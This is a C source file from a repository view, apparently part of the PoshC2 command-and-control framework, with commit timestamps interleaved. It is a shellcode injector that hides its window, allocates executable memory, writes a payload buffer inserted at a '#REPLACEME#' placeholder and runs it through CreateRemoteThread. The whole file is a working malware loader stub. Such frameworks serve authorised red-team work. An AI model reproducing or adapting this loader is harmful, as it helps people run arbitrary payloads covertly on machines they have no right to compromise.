PoshC2_Python/Files/Shellcode_Injector.c

45 lines
948 B
C
Raw Normal View History

2018-07-23 08:55:15 +00:00
#define WINVER 0x0501
#include<windows.h>
#REPLACEME#
void pump(DWORD);
int main(int argc, char *argv[])
{
STARTUPINFO si = { sizeof(STARTUPINFO) };
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pi= {0};
int processID = GetCurrentProcessId();
pump(processID);
2018-07-23 08:55:15 +00:00
while(1) {Sleep(50000);}
return 0;
}
void pump(DWORD dwProcessID) {
HANDLE hProc;
HANDLE hRemoteThread;
PVOID pRemoteBuffer;
if(!dwProcessID) {
exit(0);
2018-07-23 08:55:15 +00:00
}
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID);
if(!hProc) {
exit(0);
2018-07-23 08:55:15 +00:00
}
pRemoteBuffer = VirtualAllocEx(hProc, NULL, sizeof(sc)*2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!pRemoteBuffer) {
exit(0);
2018-07-23 08:55:15 +00:00
}
if (!WriteProcessMemory(hProc, pRemoteBuffer, sc, sizeof(sc), NULL)) {
exit(0);
2018-07-23 08:55:15 +00:00
}
CreateRemoteThread(hProc, NULL, 0, pRemoteBuffer, NULL, 0, NULL);
2018-07-23 08:55:15 +00:00
CloseHandle(hProc);
}